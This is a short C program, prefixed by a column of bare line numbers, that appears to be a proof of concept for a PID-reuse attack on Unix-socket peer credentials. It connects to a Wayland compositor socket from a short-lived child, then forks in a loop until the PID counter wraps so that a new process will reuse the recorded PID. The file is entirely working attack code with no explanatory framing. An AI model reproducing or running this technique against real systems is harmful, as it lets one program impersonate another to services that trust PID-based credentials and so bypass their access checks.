1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <unistd.h>
#include <stdio.h>
#include <wait.h>
#include <sys/socket.h>
#include <sys/un.h>
int main() {
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
// First create a PID slot to know where to stop
pid_t slot_pid = fork();
if (slot_pid == 0) {
_exit(0);
}
waitpid(slot_pid, NULL, 0);
printf("slot_pid = %d\n", slot_pid);
// Create a connection inside a child
pid_t fd_pid = fork();
if (fd_pid == 0) {
// On Linux, SO_PEERCRED is stashed on connect
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/user/1000/wayland-0",
};
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect");
_exit(1);
}
_exit(0);
}
printf("created connection with pid %d\n", fd_pid);
waitpid(fd_pid, NULL, 0);
// Fork until we overflow and reach slot_pid again
// TODO: make it faster by waiting children only if fork fails
pid_t pid = -1;
do {
pid = fork();
if (pid < 0) {
perror("fork");
return 1;
} else if (pid == 0) {
_exit(0);
}
waitpid(pid, NULL, 0);
} while (pid > fd_pid || pid < slot_pid);
printf("Next spawned process will use PID %d\n", fd_pid);
return 0;
}